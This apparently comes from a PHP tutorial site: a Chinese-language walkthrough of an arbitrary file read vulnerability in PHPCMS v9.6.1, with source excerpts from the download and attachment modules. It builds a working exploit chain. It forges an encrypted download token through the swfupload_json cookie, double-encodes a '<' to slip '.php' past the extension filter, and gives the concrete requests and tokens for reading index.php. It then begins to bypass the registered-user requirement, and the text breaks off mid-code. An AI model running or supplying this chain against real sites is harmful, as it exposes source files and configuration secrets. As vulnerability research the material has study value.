Table of Contents
1.准备工作&漏洞关键点快速扫描
1.1前置知识
1.2 快速扫描
1.2 content/down模块大致流程分析
1.2.1$fileurl变量构造分析
1.2.2$a_k变量分析
1.2.3小结
2.漏洞挖掘过程
2.1 init方法所接受的$a_k构造
2.1.1探索正常流程中的$a_k构造过程
2.1.2 黑科技构造$a_k
2.2 json和parse_str
2.3 构造符合init方法的$a_k
2.4绕过限制构造最终payload
2.4.1 urlencode编码“<>”
2.4.2最终payload
2.5绕过attachment模块权限限制完成无限制利用
3.EXP编写
4. Repair plan
Home CMS Tutorial PHPCMS Explain the mining and analysis process of arbitrary file reading vulnerabilities in PHPCMSv9.6.1

Explain the mining and analysis process of arbitrary file reading vulnerabilities in PHPCMSv9.6.1

Dec 15, 2020 pm 05:24 PM
php web security loopholes cyber security

<h2> <a href="https://www.php.cn/cms/phpcms/" target="_blank">PHPCMS使用教程</a>介绍PHPCMSv9.6.1任意文件读取漏洞的挖掘<br> </h2> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/052/5fd8807224734604.jpg" class="lazy" alt="Explain the mining and analysis process of arbitrary file reading vulnerabilities in PHPCMSv9.6.1" ></p> <p>推荐(免费):<a href="https://www.php.cn/cms/phpcms/" target="_blank">PHPCMS使用教程</a></p> <p>看到网上说出了这么一个漏洞,所以抽空分析了下,得出本篇分析。</p> <h2 id="准备工作-amp-漏洞关键点快速扫描">1.准备工作&漏洞关键点快速扫描</h2> <h3 id="前置知识">1.1前置知识</h3> <p>这里把本次分析中需要掌握的知识梳理了下:</p> <ol> <li><p>php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。</p></li> <li><p>原生empty方法,对字符串""返回true。</p></li> <li><p>phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。</p></li> </ol> <h3 id="快速扫描">1.2 快速扫描</h3> <p>先diff下v9.6.0和v9.6.1,发现phpcms/modules/content/down.php中有如下修改:</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">--- a/phpcms/modules/content/down.php +++ b/phpcms/modules/content/down.php @@ -14,12 +14,16 @@ class down {                 $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));                 if(empty($a_k)) showmessage(L('illegal_parameters'));                 unset($i,$m,$f); +               $a_k = safe_replace($a_k);^M                 parse_str($a_k);                 if(isset($i)) $i = $id = intval($i);                 if(!isset($m)) showmessage(L('illegal_parameters'));                 if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));                 if(empty($f)) showmessage(L('url_invalid'));                 $allow_visitor = 1; +               $id = intval($id);^M +               $modelid  = intval($modelid);^M +               $catid  = intval($catid);^M                 $MODEL = getcache('model','commons');                 $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];                 $this->db->table_name = $tablename.'_data'; @@ -86,6 +90,7 @@ class down {                 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);                 if(empty($a_k)) showmessage(L('illegal_parameters'));                 unset($i,$m,$f,$t,$ip); +               $a_k = safe_replace($a_k);^M                 parse_str($a_k);                                 if(isset($i)) $downid = intval($i);                 if(!isset($m)) showmessage(L('illegal_parameters')); @@ -118,6 +123,7 @@ class down {                                 }                                 $ext = fileext($filename);                                 $filename = date('Ymd_his').random(3).'.'.$ext; +                               $fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);^M                                 file_down($fileurl, $filename);                         }                 }</pre><div class="contentsignin">Copy after login</div></div> <p>主要修改了两个方法<code>init()</code>和<code>download()</code>,大胆的猜想估计是这两个函数出问题了。</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">public function init() {         $a_k = trim($_GET['a_k']);         if(!isset($a_k)) showmessage(L('illegal_parameters'));         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1         if(empty($a_k)) showmessage(L('illegal_parameters'));         unset($i,$m,$f);         $a_k = safe_replace($a_k);//关键点2         parse_str($a_k);//关键点3         if(isset($i)) $i = $id = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         $allow_visitor = 1;         $id = intval($id);         $modelid  = intval($modelid);         $catid  = intval($catid);   ......     if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//关键点4         if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {             $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');             $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));//关键点5             $downurl = '?m=content&c=down&a=download&a_k='.$a_k;         } else {             $downurl = $f;                     } }</pre><div class="contentsignin">Copy after login</div></div> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">    public function download() {         $a_k = trim($_GET['a_k']);         $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6         $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);         if(empty($a_k)) showmessage(L('illegal_parameters'));         unset($i,$m,$f,$t,$ip);         $a_k = safe_replace($a_k);//关键点7         parse_str($a_k);//关键点8         if(isset($i)) $downid = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         if(!$i || $m<0) showmessage(L(&#39;illegal_parameters&#39;)); if(!isset($t)) showmessage(L(&#39;illegal_parameters&#39;)); if(!isset($ip)) showmessage(L(&#39;illegal_parameters&#39;)); $starttime = intval($t); if(preg_match(&#39;/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i&#39;,$f) || strpos($f, ":\\")!==FALSE || strpos($f,&#39;..&#39;)!==FALSE) showmessage(L(&#39;url_error&#39;));//关键点9 $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(&#39;illegal_parameters&#39;)); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L('url_invalid'));         if($m) $fileurl = trim($s).trim($fileurl);//关键点10         if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));//关键点11         //远程文件         if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { //关键点12             header("Location: $fileurl");         } else {             if($d == 0) {                 header("Location: ".$fileurl);//关键点13             } else {                 $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);                 $filename = basename($fileurl);//关键点14                 //处理中文文件                 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {                     $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));                     $filename = urldecode(basename($filename));//关键点15                 }                 $ext = fileext($filename);//关键点16                 $filename = date('Ymd_his').random(3).'.'.$ext;                 $fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17                 file_down($fileurl, $filename);//关键点18             }         }     }</pre><div class="contentsignin">Copy after login</div></div> <p>safe_replace函数如下</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">function safe_replace($string) {     $string = str_replace('%20','',$string);     $string = str_replace('%27','',$string);     $string = str_replace('%2527','',$string);     $string = str_replace('*','',$string);     $string = str_replace('"','&quot;',$string);     $string = str_replace("'",'',$string);     $string = str_replace('"','',$string);     $string = str_replace(';','',$string);     $string = str_replace('<&#39;,&#39;&lt;&#39;,$string); $string = str_replace(&#39;>','&gt;',$string);     $string = str_replace("{",'',$string);     $string = str_replace('}','',$string);     $string = str_replace('\\','',$string);     return $string; }</pre><div class="contentsignin">Copy after login</div></div> <h4 id="content-down模块大致流程分析">1.2 content/down模块大致流程分析</h4> <ol><li><p>init方法中根据原始的$a_k(包含了file_down的文件的基本信息),进行一次验证,并且生成,调用</p></li></ol> <p>download方法的url,url的schema为<code>$downurl='?m=content&c=down&a=download&a_k='.$a_k</code>(必须符合一定条件。)</p> <ol><li><p>download方法接收到$a_k,进行解码,解出文件信息,调用<code>file_down($fileurl, $filename)</code>( 必须符合一定条件)</p></li></ol> <p>我们来看下file_down函数,第一个参数$filepath,才是实际控制readfile的文件名的变量,readfile可以读取本地文件,所以我们构造符合条件的$fileurl绕过上述的限制就可以完成本地文件的读取功能!</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">function file_down($filepath, $filename = '') {     if(!$filename) $filename = basename($filepath);     if(is_ie()) $filename = rawurlencode($filename);     $filetype = fileext($filename);     $filesize = sprintf("%u", filesize($filepath));     if(ob_get_length() !== false) @ob_end_clean();     header('Pragma: public');     header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');     header('Cache-Control: no-store, no-cache, must-revalidate');     header('Cache-Control: pre-check=0, post-check=0, max-age=0');     header('Content-Transfer-Encoding: binary');     header('Content-Encoding: none');     header('Content-type: '.$filetype);     header('Content-Disposition: attachment; filename="'.$filename.'"');     header('Content-length: '.$filesize);     readfile($filepath);     exit; }</pre><div class="contentsignin">Copy after login</div></div> <h4 id="fileurl变量构造分析">1.2.1$fileurl变量构造分析</h4> <p>如果我们要读取站点的.php结尾文件,由于有关键点11存在,$fileurl中不能出现php,不过从关键点17可以看到进行了替换</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">$fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17</pre><div class="contentsignin">Copy after login</div></div><div class="contentsignin">Copy after login</div></div> <p>那么可以想到我们构造出符合<code>.ph([<>]+)p</code>的文件后缀,最后会被替换成.php。而且这句话是9.6.1新增的,更加确定了,这个漏洞是9.6.1特有的。</p> <p>再向上上看</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl);//关键点10</pre><div class="contentsignin">Copy after login</div></div><div class="contentsignin">Copy after login</div></div> <p>变量$m为真,那么我们可以通过引入变量$s来构造$fileurl,且$fileurl由变量$f控制。</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">$fileurl = trim($f);</pre><div class="contentsignin">Copy after login</div></div> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">$a_k = safe_replace($a_k);//关键点7 parse_str($a_k);//关键点8</pre><div class="contentsignin">Copy after login</div></div> <p>通过parse_str来extract变量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid变量,看到这里我们可以构造$a_k来控制这些变量。</p> <h4 id="a-k变量分析">1.2.2$a_k变量分析</h4> <p>再向上看</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6         $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);</pre><div class="contentsignin">Copy after login</div></div> <p>这个关键点6很重要,因为这里的$pc_auth_key几乎是不可能暴力出来的,然而得到这个加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我们只能通过init()方法来构造$a_k。</p> <p>我们现在来看下init方法</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">        $a_k = trim($_GET['a_k']);         if(!isset($a_k)) showmessage(L('illegal_parameters'));         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1</pre><div class="contentsignin">Copy after login</div></div> <p>这里可以发现sys_auth的auth竟然是使用系统默认的auth_key,直觉告诉我可能问题出在这里了,除了这个区别,init方法别的逻辑就不再赘述。</p> <h4 id="小结">1.2.3小结</h4> <p>总结一下:</p> <p>index.php?m=content&c=down&a=init&a_k=想办法构造出符合条件的。</p> <p>然后init方法会构造出符合download方法中能够解密的$a_k。</p> <p>通过对$a_k进行控制,间接控制$i,$f,$m,$s,$d等变量完成漏洞的利用。</p> <h2 id="漏洞挖掘过程">2.漏洞挖掘过程</h2> <h3 id="init方法所接受的-a-k构造">2.1 init方法所接受的$a_k构造</h3> <h4 id="探索正常流程中的-a-k构造过程">2.1.1探索正常流程中的$a_k构造过程</h4> <p>对源码进行快速扫描,看看哪些地方能够生产对init方法的调用,其实就是常规的下载模型的逻辑。</p> <p>phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中会生成init方法的$a_k</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">    function downfile($field, $value) {         extract(string2array($this->fields[$field]['setting']));         $list_str = array();         if($value){             $value_arr = explode('|',$value);             $fileurl = $value_arr['0'];             if($fileurl) {                 $sel_server = $value_arr['1'] ? explode(',',$value_arr['1']) : '';                 $server_list = getcache('downservers','commons');                 if(is_array($server_list)) {                     foreach($server_list as $_k=>$_v) {                         if($value && is_array($sel_server) && in_array($_k,$sel_server)) {                             $downloadurl = $_v[siteurl].$fileurl;                             if($downloadlink) {                                 $a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", 'ENCODE', pc_base::load_config('system','auth_key')));                                 $list_str[] = "<a href=&#39;".APP_PATH."index.php?m=content&c=down&a_k={$a_k}&#39; target=&#39;_blank&#39;>{$_v[sitename]}</a>";                             } else {                                 $list_str[] = "<a href=&#39;{$downloadurl}&#39; target=&#39;_blank&#39;>{$_v[sitename]}</a>";                             }                         }                     }                 }                     return $list_str;             }         }      }</pre><div class="contentsignin">Copy after login</div></div> <p>但是分析发现,content_input和content_output逻辑中权限验证和限制逻辑比较完善,基本不存在利用可能。</p> <h4 id="黑科技构造-a-k">2.1.2 黑科技构造$a_k</h4> <p>由于是sys_auth是对称加密,那么能不能找个使用相同密钥生成的地方来生成,对sys_auth进行全文搜索,我们找找有没有符合下列条件的上下文</p> <ol> <li><p>方式是ENCODE</p></li> <li><p>Auth_key是系统默认的即:pc_base::load_config('system','auth_key')</p></li> <li><p>且待加密内容是可控的(可以是我们$_REQUEST的数据,或者可以构造的)</p></li> <li><p>加密后的数据有回显的。</p></li> </ol> <p>共找到58个匹配项,但是没有符合上下文的,不过我们可以注意到</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">public static function set_cookie($var, $value = '', $time = 0) {         $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);         $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;         $var = pc_base::load_config('system','cookie_pre').$var;         $_COOKIE[$var] = $value;         if (is_array($value)) {             foreach($value as $k=>$v) {                 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);             }         } else {             setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);         }     }     public static function get_cookie($var, $default = '') {         $var = pc_base::load_config('system','cookie_pre').$var;         return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;     }</pre><div class="contentsignin">Copy after login</div></div> <p>param::set_cookie param::get_cookie 对cookie加密是使用默认的auth_key的。</p> <p>马上对set_cookie进行全文搜索,并且查找符合下列条件的上下文。</p> <ol> <li><p>set_cookie的内容是可控的。</p></li> <li><p>set_cookie的触发条件尽可能的限制小。</p></li> </ol> <p>一共找到122个匹配项,找到了两个比较好的触发点。</p> <p>phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法</p> <p>video模块需要管理员权限,就不考虑了,attachment模块只要是注册用户即可调用。</p> <p>我们来看下swfupload_json</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">    public function swfupload_json() {         $arr['aid'] = intval($_GET['aid']);         $arr['src'] = safe_replace(trim($_GET['src']));         $arr['filename'] = urlencode(safe_replace($_GET['filename']));         $json_str = json_encode($arr);         $att_arr_exist = param::get_cookie('att_json');         $att_arr_exist_tmp = explode('||', $att_arr_exist);         if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {             return true;         } else {             $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;             param::set_cookie('att_json',$json_str);             return true;                     }     }</pre><div class="contentsignin">Copy after login</div></div> <p>我们可以通过src和filename来构造,最终我选的是src,最终形式会是一个json串,当然有多个会以"||"分割。</p> <p>我们注册个用户登录之后,调用</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn</pre><div class="contentsignin">Copy after login</div></div> <p>产生的数据会是</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn","filename":""}</pre><div class="contentsignin">Copy after login</div></div> <p>然后我们得到response.header中的set-cookie ["att_json"]。</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre><div class="contentsignin">Copy after login</div></div> <p>我们修改下down.php->init方法,把DECODE之后的$a_k输出来。</p> <p>然后我们调用</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init &a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre><div class="contentsignin">Copy after login</div></div> <p>激动人心,init方法成功DECODE了$a_k</p> <p>好了目前验证了我们的想法可行,接下来应该构造可用的payload了。</p> <h3 id="json和parse-str">2.2 json和parse_str</h3> <p>目前要解决的就是 从json中parse_str并且能够解析出$i,$m,$f等变量。</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn=q&p1=12312","filename":""}</pre><div class="contentsignin">Copy after login</div></div> <p>解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}</p> <p>说明parse_str还是解析还是可以实现的,前后闭合一下,中间填充我们需要的变量即可,例如</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}</pre><div class="contentsignin">Copy after login</div></div> <p>那么fobnn和p1就是正常解析的,src需要URLENCODE提交,这样不会导致php解析错误。</p> <h3 id="构造符合init方法的-a-k">2.3 构造符合init方法的$a_k</h3> <p>我们先构造一个符合init方法的$a_k使得能完成正常的流程。</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">        if(isset($i)) $i = $id = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         $allow_visitor = 1;         $id = intval($id);         $modelid  = intval($modelid);         $catid  = intval($catid);</pre><div class="contentsignin">Copy after login</div></div> <p>构造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用来满足条件。</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1  src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d</pre><div class="contentsignin">Copy after login</div></div> <p>得到</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}</pre><div class="contentsignin">Copy after login</div></div> <p>然后提交</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init &a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ</pre><div class="contentsignin">Copy after login</div></div> <p>成功!页面已经生成了调用download方法的url</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false"></head> <body>     <style type="text/css">          body, html{ background:#FFF!important;}     </style>         <a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a>     </body> </html></pre><div class="contentsignin">Copy after login</div></div> <h3 id="绕过限制构造最终payload">2.4绕过限制构造最终payload</h3> <p>目前正常流程已经走通,把目光集中在如何构造出符合的$fileurl,来看下init方法中</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {     $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');     $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));     $downurl = '?m=content&c=down&a=download&a_k='.$a_k;     } else {         $downurl = $f;                 }</pre><div class="contentsignin">Copy after login</div></div> <p>对f的限制还是蛮多的,包括常规黑名单检测php,asp等。也不能出现"..",":\"</p> <p>还好我们看到download函数中</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl);//关键点10</pre><div class="contentsignin">Copy after login</div></div><div class="contentsignin">Copy after login</div></div> <p>我们可以通过控制$m就可以通过$s来构造了,而$m和$s参与了$a_k的构造。</p> <p>在init方法中我们可以构造 m=1&s=.php&f=index 类似的来绕过init方法的检测,我们把目光聚焦到download方法。</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">//常规检测代码就不贴了,$i,$t,$m,$modelid,$t,$ip的检测。 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));     $fileurl = trim($f);</pre><div class="contentsignin">Copy after login</div></div> <p>通过这样的构造上面这个检测肯定可以绕过,但发现下面检测就会出问题,最后$fileurl还是会变成index.php</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl); if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));         //远程文件</pre><div class="contentsignin">Copy after login</div></div> <p>好在快速扫描中看到的</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">$fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17</pre><div class="contentsignin">Copy after login</div></div><div class="contentsignin">Copy after login</div></div> <p>另外又看到</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">if($d == 0) {     header("Location: ".$fileurl);</pre><div class="contentsignin">Copy after login</div></div> <h4 id="urlencode编码-lt-gt">2.4.1 urlencode编码“<>”</h4> <p>那么构造出 d=1&m=1&f=.p<hp&s=index 这样的payload就可以绕过检测,实现漏洞利用,当然期间涉及一些编码转换就不再赘述了。</p><p>最终pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p<hp&s=index&pade=</p><p>由于safe_replce的存在所以<code><</code>会被过滤掉,前置知识中我已经说到parse_str会自动encode一次。</p><p>所以可以构造</p><p>d=1&m=1&f=.p%3chp&s=index</p><p>我们发现在init方法中会safe_replace一次,和parse_str一次。</p><p>那么最终编码到download $a_k中的数据实际还是<,而download方法中也会safe_replace和parse_str一次。</p><p>所以我们要确保在init方法编码的时候是%3c即可,对%3c进行一次urlencode,构造</p><p>d=1&m=1&f=.p%253chp&s=index</p><p>当然要读取别的目录的,那同样对目录路径进行编码。</p><h3 id="最终payload">2.4.2最终payload</h3><p>以读取首页index.php为例</p><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade= index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 &src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d</pre><div class="contentsignin">Copy after login</div></div><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ {"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}</pre><div class="contentsignin">Copy after login</div></div><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ</pre><div class="contentsignin">Copy after login</div></div><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY</pre><div class="contentsignin">Copy after login</div></div><p>最终提示下载文件,文件下载成功,打开来看确实是index.php内容。</p><h3 id="绕过attachment模块权限限制完成无限制利用">2.5绕过attachment模块权限限制完成无限制利用</h3><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">class attachments { private $att_db; function __construct() { pc_base::load_app_func(&#39;global&#39;); $this->upload_url = pc_base::load_config('system','upload_url');         $this->upload_path = pc_base::load_config('system','upload_path');                 $this->imgext = array('jpg','gif','png','bmp','jpeg');         $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));         $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;         $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;         //判断是否登录         if(empty($this->userid)){             showmessage(L('please_login','','member'));         }     }</p> <p>可以发现</p> <pre class="brush:php;toolbar:false">sys_auth($_POST['userid_flash'],'DECODE')</pre><div class="contentsignin">Copy after login</div></div> <p>可控制$this->userid且没有复杂的权限校验,而且又是默认AUTH_KEY加密的。</p> <p>全文找下无限制可以set_cookie的,发现WAP模块可以利用</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">pc_base::load_sys_class('format', '', 0); class index {     function __construct() {                 $this->db = pc_base::load_model('content_model');         $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);         param::set_cookie('siteid',$this->siteid);             $this->wap_site = getcache('wap_site','wap');         $this->types = getcache('wap_type','wap');         $this->wap = $this->wap_site[$this->siteid];         define('WAP_SITEURL', 